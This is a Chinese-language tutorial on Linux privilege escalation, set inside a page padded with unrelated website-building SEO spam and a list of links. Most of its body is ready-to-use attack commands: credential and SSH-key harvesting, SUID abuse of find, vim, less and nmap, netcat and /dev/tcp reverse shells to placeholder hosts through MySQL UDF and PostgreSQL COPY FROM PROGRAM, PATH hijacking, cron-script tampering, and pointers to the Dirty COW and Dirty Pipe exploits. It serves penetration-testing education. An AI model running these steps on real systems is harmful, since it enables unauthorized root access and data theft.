当前位置: 首页 > news >正文

建设一个公司网站需要多少钱做网站界面一般用什么来做

建设一个公司网站需要多少钱,做网站界面一般用什么来做,ftp空间网站,长沙房产集团网站建设前言 发点存货 LINUX权限简介 在学习提权之前我们先了解一下linux里面的权限我们使用命令: ls -al即可查看列出文件所属的权限#xff1a; 文件头前面都有一段类似的字符#xff0c;下面我们仔细分析一下里面符号分别代表什么。 -rw-r--r-- 1 root root 第一个符号-的…前言 发点存货 LINUX权限简介 在学习提权之前我们先了解一下linux里面的权限我们使用命令: ls -al即可查看列出文件所属的权限 文件头前面都有一段类似的字符下面我们仔细分析一下里面符号分别代表什么。 -rw-r--r-- 1 root root 第一个符号-的地方可以是下面这些符号 - : 代表普通文件 d代表目录 l代表软链接 b代表块文件 c代表字符设备而后面的 rw-r--r-- 表示的是文件所属的权限 r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行 rw- 表示文件所拥有者的权限。 r-- 表示文件所在组的用户的权限。 r-- 表示其他组的用户的权限。 但如果是一个目录的话可以看下面的解读 r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录后面的数据1代表的内容如下: 如果文件类型为目录表示目录下的子目录个数 如果文件类型是普通文件这个数据就表示这个文件的硬链接个数后面两个root的分别含义就是第一个为该文件所有者为root 用户第二个表示该文件所在组为root组。 信息收集 在提权之前我们要进行信息收集例如系统信息用户信息安装的服务计划任务等能被我们进一步利用的信息这些信息在我们提权时会用到因为这不是本文的重点于是就放一些链接大家去了解一下 https://www.cnblogs.com/lzkalislw/p/15630934.html 下面就简单举一些经常需要用的信息收集命令 查看系统信息可用于内核提权 uname -a 打印所有可用的系统信息 uname -r 内核版本 uname -n 系统主机名。 uname -m 查看系统内核架构64位/32位 hostname 系统主机名 cat /proc/version 内核信息 cat /etc/*-release 分发信息 cat /etc/issue 分发信息 cat /proc/cpuinfo CPU信息 cat /etc/lsb-release # Debian cat /etc/redhat-release # Redhat用户和群组 cat /etc/passwd 列出系统上的所有用户 cat /var/mail/root cat /var/spool/mail/root cat /etc/group 列出系统上的所有组 grep -v -E ^# /etc/passwd | awk -F: $3 0 { print $1} 列出所有的超级用户账户 whoami 查看当前用户 w 谁目前已登录他们正在做什么 last 最后登录用户的列表 lastlog 所有用户上次登录的信息 lastlog –u %username% 有关指定用户上次登录的信息用户权限信息 whoami 当前用户名 id 当前用户信息 cat /etc/sudoers 谁被允许以root身份执行 sudo -l 当前用户可以以root身份执行操作 环境信息 env 显示环境变量 set 现实环境变量 echo %PATH 路径信息 history 显示当前用户的历史命令记录 pwd 输出工作目录 cat /etc/profile 显示默认系统变量 cat /etc/shells 显示可用的shellrc cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout进程和服务 ps aux ps -ef top cat /etc/services 查看以root 运行的进程 ps aux | grep root ps -ef | grep root查看安装的软件可用于第三方服务提权 ls -alh /usr/bin/ ls -alh /sbin/ ls -alh /var/cache/yum/ dpkg -l服务/插件 cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk $1 ~ /^.*r.*/计划任务可用于计划任务提权 crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root有无明文存放用户密码 grep -i user [filename] grep -i pass [filename] grep -C 5 password [filename] find , -name *.php -print0 | xargs -0 grep -i -n var $password有无ssh 私钥 cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key可提权SUID GUID用于SUID提权 find / -perm -1000 -type d 2/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -gs -type f 2/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -us -type f 2/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -gs -o -perm -us -type f 2/dev/null # SGID or SUID查看可写/执行目录 find / -writable -type d 2/dev/null # world-writeable folders find / -perm -222 -type d 2/dev/null # world-writeable folders find / -perm -o w -type d 2/dev/null # world-writeable folders find / -perm -o x -type d 2/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2/dev/null # world-writeable executable folders查看安装过的工具 find / -name perl* find / -name python* find / -name gcc* ...信息收集工具 通过上面这些命令可以看到如果我们一个一个的去查是很麻烦的这里推荐大家使用信息收集脚本LinEnum.sh来去进行信息收集。 官方链接https://github.com/rebootuser/LinEnum 下载后解压先赋予LinEnum.sh执行权限 chmod x LinEnum.sh之后就可以运行该脚本了 ./LinEnum.sh -r report -e /tmp/ -t #-e将生成的一系列文件存放在何处此处我们存放在靶机的/tmp目录下这样就方便了我们进行下一步操作了只需要在里面找能利用的数据就可以了。 SUID提权 要先了解SUID是什么 SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时如果该程序有SUID权限那么程序运行为进程时进程的属主不是发起者而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义. ​ 在执行过程中调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限. ​ 利用此特性,我们可通过SUID进行提权 设置SUID权限 chmod us filename 设置SUID位 chmod u-s filename 去掉SUID设置假设我们给一个文件赋予SUID权限 赋予权限之后的文件信息为 代表该文件已经获得了suid权限这就是个人对于SUID的简单理解那么该怎样利用呢。 我们先看一下常用的具有SUID权限的文件有哪些,常用命令如下 find / -perm -us -type f 2/dev/null #-type b/d/c/p/l/f 查是块设备,目录,字符设备,管道.符号链接,普通文件 # 2/dev/null 将find报错的信息重定向到null[空]可以看到查询到了具有SUID权限的文件包括上面我们增加了SUID权限的文件当然简单总结一下我们常用SUID提权文件如下: nmap vim find bash more less nano cp awk下面简单举一些SUID提权的例子 find find是我们在linux中查找文件经常用到的命令提权过程如下 cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下 find xxx -exec whoami \; find xxx -exec /bin/sh \; 利用find得到一个root权限的shell find xxx -exec nc -lvp 1234 -e /bin/sh \;利用nc反弹一个root权限的shellnamp namp作为一个端口扫描工具被人们熟知当目标主机存在版本在 2.02-5.21 之间的 nmap也是可以尝试SUID提权的接下来给大家讲一下步骤 早期nmap中有交互模式我们可以用以下命令进入 nmap --interactive //进入交互模式然后我们在交互模式中输入以下命令进行提权 nmap !sh sh-3.2# whoami root如果读者觉得手动比较麻烦我们可以在MSF里寻找攻击脚本 bash 我们可以用命令通过一个ROOT权限来打开bash shell: bash -p bash-3.2# id uid1002(service) gid1002(service) euid0(root) groups1002(service)VIM vim作为一款linux下的文件编辑器当以SUID运行的话它会继承root用户的权限 vim.tiny # Press ESC key :set shell/bin/sh :shellnano nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权 nano Ctrl R Ctrl X 即可进入命令行less/more less命令用于显示文件或命令输出的内容它一次只显示一个页面(分页显示工具)。它类似于more命令,而且他们两个的提权方法基本一致但需要注意的是只有比较大的文件才能进行翻页 less(or more) /etc/passwd #在less(or more)中输入: !/bin/shperl perl命令作为linux中常用脚本也是可以进行提权的 sudo perl -e exec /bin/sh;ed ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。 内核漏洞提权 即通过系统的内核漏洞来进行提权因为涉及的范围比较多作为入门就以最著名的CVE-2016-5195(脏牛漏洞)来作为演示 dirtycow-exphttps://github.com/gbonacini/CVE-2016-5195 dirtycow-检测脚本https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh 当我们获取服务器普通用户的权限后可以尝试以下思路来进行脏牛提权 上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功 我们需要检测系统内核版本 # 查看系统发行版本 lsb_release -a # 查看内核版本 uname -a 当发现版本内核在脏牛影响的范围内时拿到用户权限后将检测脚本上传至靶机 upload /root/linux-exploit-suggester.sh /tmp/xino.sh然后赋予该探针执行权限 chmod 777 xino.sh若要检测到存在则继续上传我们下载的提权EXP来进行提权操作注意的是上传的exp需要进行编译 g -Wall -pedantic -O2 -stdc11 -pthread -o dcow dcow.cpp -lutil执行后可得到root权限提权脚本还可以通过searchsploit下载到本地 searchsploit dirty 其他内核漏洞举例 5.8 Linux kernel 5.16.11/5.15.25/5.10.102 https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit 环境变量提权 PATH是Linux和类UNIX系统中的环境变量指定存储可执行程序的所有bin和sbin目录通过PATH变量来响应用户执行的命令并向shell发送请求以搜索可执行文件。 使用命令查看当前环境变量 我们写一段demo: #include void main() { setuid(0); setgid(0); system(su - xino); }意思是通过root权限切换到xino用户我们需要编译一下并赋予suid权限 gcc demo.c -o shell chmod us shell当我们在服务器ls一下后发现了shell我们构造的shell文件执行后发现当前用户切换了 ls ./shell了解到这里之后我们思考一下用户的环境变量可以自定义那我们让另一个位置的环境配置在当前环境之前就可以进行环境变量的劫持了。 echo命令法 echo /bin/bash /tmp/su chmod 777 /tmp/su echo $PATH export PATH/tmp:$PATH cd /srv ./shellcp法 cp /bin/sh /tmp/su export PATH/tmp:$PATH cd /srv ./shell软链接法 ln -s /bin/sh /tmp/su export PATH/tmp:$PATH cd /srv ./shell第三方服务提权 这个思路是用第三方服务的漏洞可以拿到主机的 root 权限比如某个组件通过root权限启动那么我们控制了组件就相当于得到了root权限。 MySQL UDF 提权 UDFUserdefined function可翻译为用户自定义函数其为mysql的一个拓展接口可以为mysql增添一些函数。提权条件如下 1.必须是root权限需要创建和抛弃自定义函数 2.secure_file_priv必须为空secure_file_priv为null或者为/tmp/都不行因为它需要在指定的位置写入udf文件 查看是否有写入权限 show global variables like %secure%;当 secure_file_priv 的值没有具体值时表示不对 mysqld 的导入或者导出做限制此时可提权。限制条件如下 mysql5.1 mysql\lib\plugin mysql5.1 c:\\windows可能读者不太明白限制条件是什么意思如果我们要提权那么就要上传UDF 的动态链接库文件实现共享函数库概念的一种方式我们可以在SQLMAPsqlmap\data\udf\mysql或者MSF中找到内置的udf.dll文件而这个udf.dll文件上传路径的限制条件就是上面提到的。下一步就是上传udf.dll文件这里分为两种情况 1.拥有webshell权限时 我们可以直接将udf.dll上传到指定目录的文件夹。 2.未拥有webshell权限时 由于我们不能直接上传了所以需要通过查询语句来转码插入udf.dll的内容 use mysql; set aconcat(,0x代码); create table Ghost(data LONGBLOB); insert into Ghost values();update Ghost set data a; 代码为select hex(load_file(c:/udf.dll))中的内容 select data from Ghost into dumpfile c:/phpStudy/MySQL/lib/plugin/udf.dll; //导出ufd.dll CREATE FUNCTION backshell RETURNS STRING SONAME udf.dll;//创建函数 select sys_exec(nc xxxx 6666 -e /bin/bash); #执行之后我们就提权成功了,监听一下就可以。 PostgreSQL PostgreSQL是Mac OSX系统下最常用的数据库当其版本位于9.3-11.2,允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令。基本流程如下 drop table if exists cmd_exec; #先删除你想要使用但是已经存在的表 create table cmd_exec(cmd_output text); #创建保存系统命令输出的表 copy cmd_exec from program id; #执行系统命令利用特定函数 select * from cmd_exec; #查看执行结果而cmd_exec中的内容可以是反弹shell: COPY cmd_exec FROM PROGRAM /bin/bash -i /dev/tcp/xxxx/xx 01; 不过需要注意的是直接这样写会执行失败我们需要将反弹shell的命令进行base64编码再传入 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3h4eHgveHggMD4mMQ计划任务提权 定时任务cron job可以用来设置周期执行的命令提权的原理为计划任务以root权限运行计划任务中的脚本其他用户有写入的权限或者脚本所属组为其他用户则可以进行计划任务提权。 crontabs基本格式如上图假设我们设置了一个计划任务xino.py: import os import sys try:os.system(rm -r /home/xino/*) except:sys.exit()删除xino目录下的所有文件作为普通用户我们首先进入目录查看 cat /etc/crontab ls -al /tmp/xino.py cat /tmp/xino.py去修改这个计划任务来进行提权 #!/user/bin/env python import os import sys try:os.system(‘chmod us /bin/bash’) except:sys.exit上面代码大家应该不陌生这涉及了上面的SUID提权设置完后使用命令 ls -la /bin/bash发现属主的权限由x变成了s成功设置了SUID权限运行命令 sudo bash -p查询用户成功变成了root提权就成功了。 漏洞探针 了解了以上提权的方法因为我们在实战中不可能一个一个方法的去试这样的话效率就太低了这里给大家介绍一个漏洞探针工具linux-exploit-suggster2该工具可以帮我们检查该系统当前可能存在的漏洞我们只需要尝试去攻击。 官网链接https://github.com/jondonas/linux-exploit-suggester-2 运用方法也很简单解压后直接运行即可 $ ./linux-exploit-suggester-2.plLocal Kernel: 4.4.0Searching among 73 exploits...结语 因为提权的内容太多了本文就简单总结了一下具有代表性的一些知识点望大家多多包涵。
http://www.dnsts.com.cn/news/273411.html

相关文章:

  • 广告网站素材怎么做英文的网站
  • 珠海建设工程交易中心网站注册企业营业执照需要什么条件
  • 谷歌网站推广策略方案医院互联网网站建设
  • 服务网站建设公司网站备案号查不到
  • seo查询 站长之家静态网页制作期末试卷及答案
  • 企业网站背景图片如何创造一个公众号
  • 长春网站优化实战wordpress 多站
  • 怎么用html做移动网站吗广州网站制作哪家公司好
  • 深圳住房建设部官方网站网站托管主要干点什么
  • wordpress主页图片网站seo策划方案实例
  • 怎样建一个收费网站官方网站面膜做代理
  • 目录网站开发wordpress 自定义字段列表
  • 门户网站平台建设方案西安市住房和城乡建设局网站
  • 自助网站建设费用wordpress换了固定链接404
  • 厦门建设服务管理中心网站中国建筑云筑网登录
  • 做婚纱摄影网站广告设计网站官网
  • dedecms 图片网站模板怎样在内网建设一个网站
  • 网站建设需求分析调研调查表艾纳网站建设
  • 六安建六安建设网站企业手机网站建设有
  • 福州网络科技有限公司关键词自然排名优化
  • 网站建设教程菜鸟教程软件开发文档格式
  • 企业做网站需注意什么宾爵手表官方网站
  • 建设部网站白蚁文件网站通知模板
  • 网站文明建设工程包括普洱北京网站建设
  • pc网站做app京东天津响应式网站设计
  • 怎么做网站的浏览量统计平台网站怎么优化
  • 西安志成网站建设公司做php网站会员开店代码如何编写
  • 怎么做空包网站招聘网站开发需要多长时间
  • 广州网站优化关键词公司宁波建网站公司
  • 来客网站建设手赚网站哪里可以做